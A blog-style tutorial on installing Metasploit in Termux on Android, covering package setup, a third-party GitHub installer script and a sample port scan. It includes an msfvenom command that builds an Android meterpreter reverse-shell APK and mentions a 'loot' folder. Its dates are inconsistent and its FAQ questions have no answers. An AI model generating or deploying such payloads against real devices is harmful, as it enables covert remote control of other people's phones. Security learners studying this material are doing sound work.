
How to Install Metasploit in Termux: The Complete 2026 6
Introduction
Are you looking to turn your Android device into a powerful penetration testing lab? You are not alone. As we move through 2025, the demand for mobile cybersecurity tools has skyrocketed.
The Metasploit Framework is the world’s most advanced tool for testing system vulnerabilities. While it was originally designed for desktop Linux distributions like Kali, learning how to install Metasploit in Termux allows you to run it directly on your smartphone.
However, the process to install Metasploit in Termux on modern Android versions (Android 13, 14, and 15) can be tricky due to security updates and repository changes. This comprehensive guide will walk you through the correct, error-free method to set up Metasploit using the most stable scripts available today.
Why Install Metasploit in Termux?
Before we dive into the commands, it’s important to understand why this setup is so powerful for ethical hackers. When you install Metasploit in Termux, you unlock:
- Portability: Perform security assessments without carrying a laptop.
- Real-World Learning: It is the best way to learn Linux command line basics and network architecture.
- Low Resource Usage: Termux is lightweight, unlike running a full virtual machine.
- No Root Required: You can run most scanners and exploits on a standard, non-rooted phone.
Prerequisites (Read Before Starting)
To ensure the attempt to install Metasploit in Termux doesn’t fail halfway through, please verify your device meets these requirements:
- OS Version: Android 7.0 or higher (Android 12+ users, see the “Phantom Process” section below).
- Free Storage: At least 1.5 GB (The framework and database are large).
- Internet: A stable Wi-Fi connection is highly recommended.
- Battery: Charge your phone to at least 50%.
- App Source: You MUST use the F-Droid version of Termux.
⚠️ Warning: Do not use the Termux app from the Google Play Store. It has been deprecated and will cause “Repository Under Maintenance” errors when you try to install Metasploit in Termux.
Step-by-Step Installation Guide
Step 1: Install Termux from F-Droid
If you have the Play Store version installed, uninstall it now. To properly install Metasploit in Termux, you need the signed version from F-Droid.
- Go to F-Droid.org.
- Search for Termux and download the APK.
- Install it and launch the application.
- Grant Storage Permissions: This is critical for saving your work.Bash
termux-setup-storage
Step 2: Update and Upgrade Packages
In 2025, keeping your repositories synced is vital before you install Metasploit in Termux. This command updates the list of available packages and upgrades your current tools to the latest versions.
pkg update && pkg upgrade -y
(If the terminal asks you to keep or replace a file version, press Y and Enter).
Step 3: Install Core Dependencies
Metasploit is a complex framework built on Ruby and Python. We need to install these languages, along with git (to clone files) and wget (to download files).
pkg install git wget python python2 ruby -y
Optional but Recommended: Install lolcat to make your terminal output colorful and easier to read.
gem install lolcat
Step 4: Download & Install Metasploit (The Stable Script)
Attempting to install Metasploit in Termux manually often leads to “Gem Dependency” errors caused by Ruby version mismatches and Nokogiri/Gumbo compilation failures. This community-verified script automates the entire process and offers a proot-distro method that bypasses all gem errors completely.
Step 1 — Update Termux
apt update && apt upgrade -yStep 2 — Clone the Repository
git clone https://github.com/h4ck3r0/Metasploit-termuxStep 3 — Navigate to the Folder
cd Metasploit-termuxStep 4 — Grant Permissions
chmod +x *Step 5 — Run the Installer
bash metasploit.shStep 6 — Choose Your Method
[1] Metasploit Installation
├── [1] Legacy → Android 4.4 – 6.0
├── [2] Modern → Android 7.0+ (direct install)
└── [3] Proot/Debian → Android 7.0+ ✅ RECOMMENDED
[2] Repair
[3] Backup
[4] Restore
[5] Update
[6] Exit💡 Select Option 1 → then Option 3 (Proot-Distro) for the most stable, error-free installation.
☕ Take a Break
- Proot method: ~300MB download, no compilation — takes 5–10 minutes
- Direct method: ~500MB download + Ruby Gem compilation — takes 15–25 minutes
⚠️ Do not let your phone screen turn off during installation.
Go to Settings → Display → Screen Timeout → set to maximum before starting.
Step 5: Launch and Initialize the Database
Once the installation script finishes, you are almost ready. However, for Metasploit to search for exploits quickly, it needs a database connection.
Launch the Console:
msfconsole
Inside Debian proot, you can access:
/sdcard/ → Phone internal storage
/sdcard/MSF/payloads/ → Save payloads here
/sdcard/MSF/loot/ → Save loot/data here
/root/msf-output/ → Alias to /sdcard/MSFExample — generate APK payload to phone:
msfvenom -p android/meterpreter/reverse_tcp \
LHOST=192.168.1.100 LPORT=4444 \
-o /sdcard/MSF/payloads/payload.apkBuild something inside Debian & copy to phone
msf-shell (enter Debian)
# … build your tool …
cp /root/mytool /sdcard/MSF/mytool
Access from Android file manager:
Internal Storage → MSF → payloads/
Run: msfconsole to start Metasploit
Run: msf-shell to enter Debian environment
Run: msfvenom to generate payloadsHow to Use Metasploit: Your First Scan
Now that you have managed to install Metasploit in Termux, let’s test it. We will run a simple TCP Port Scan to identify active devices on your local network.
- Search for the module:Bash
search portscan - Select the TCP scanner:Bash
use auxiliary/scanner/portscan/tcp - Set the Target IP:(Replace 192.168.1.1 with your router or target IP)Bash
set RHOSTS 192.168.1.1 - Execute:Bash
run
If you see a list of “Open” ports (like Port 80 or 443), congratulations! Your mobile hacking lab is fully functional.
Troubleshooting Common Errors (2026 Edition)
Even with the best scripts, errors happen when you install Metasploit in Termux. Here is how to fix the most common ones.
| Error Message | Cause | Solution |
| “Process Killed” (Signal 9) | Android 12/13/14 killing high-CPU apps. | Disable “Phantom Process Killer” via ADB commands. |
| “Gem install failed” | Ruby version mismatch. | Run pkg install ruby again to update. |
| “Could not connect to database” | PostgreSQL service is stopped. | Run pg_ctl -D $PREFIX/var/lib/postgresql start. |
| “Repository under maintenance” | Using Play Store version. | Switch to F-Droid version immediately. |
Frequently Asked Questions (FAQ)
Q1: Is hacking with Termux legal?
Q2: Does this work on iPhone (iOS)?
Q3: Why is the installation taking so long?
Conclusion
You have successfully learned how to install Metasploit in Termux! By following this 2025 guide, you’ve bypassed the common pitfalls of outdated repositories and broken dependencies.
Your Android device is now a capable tool for network reconnaissance and security testing. Remember to keep your packages updated with pkg update regularly.
Found this guide helpful?
Share it with your cybersecurity study group or link back to it on your blog!
- Next Read: Top 10 Basic Termux Commands for Beginners
- Next Read: How to Create Payloads with Msfvenom
🛡️ CyberShield Practice Labs & Community
Enhance your cybersecurity skills. Practice hands-on labs or discuss this tutorial with other operators:
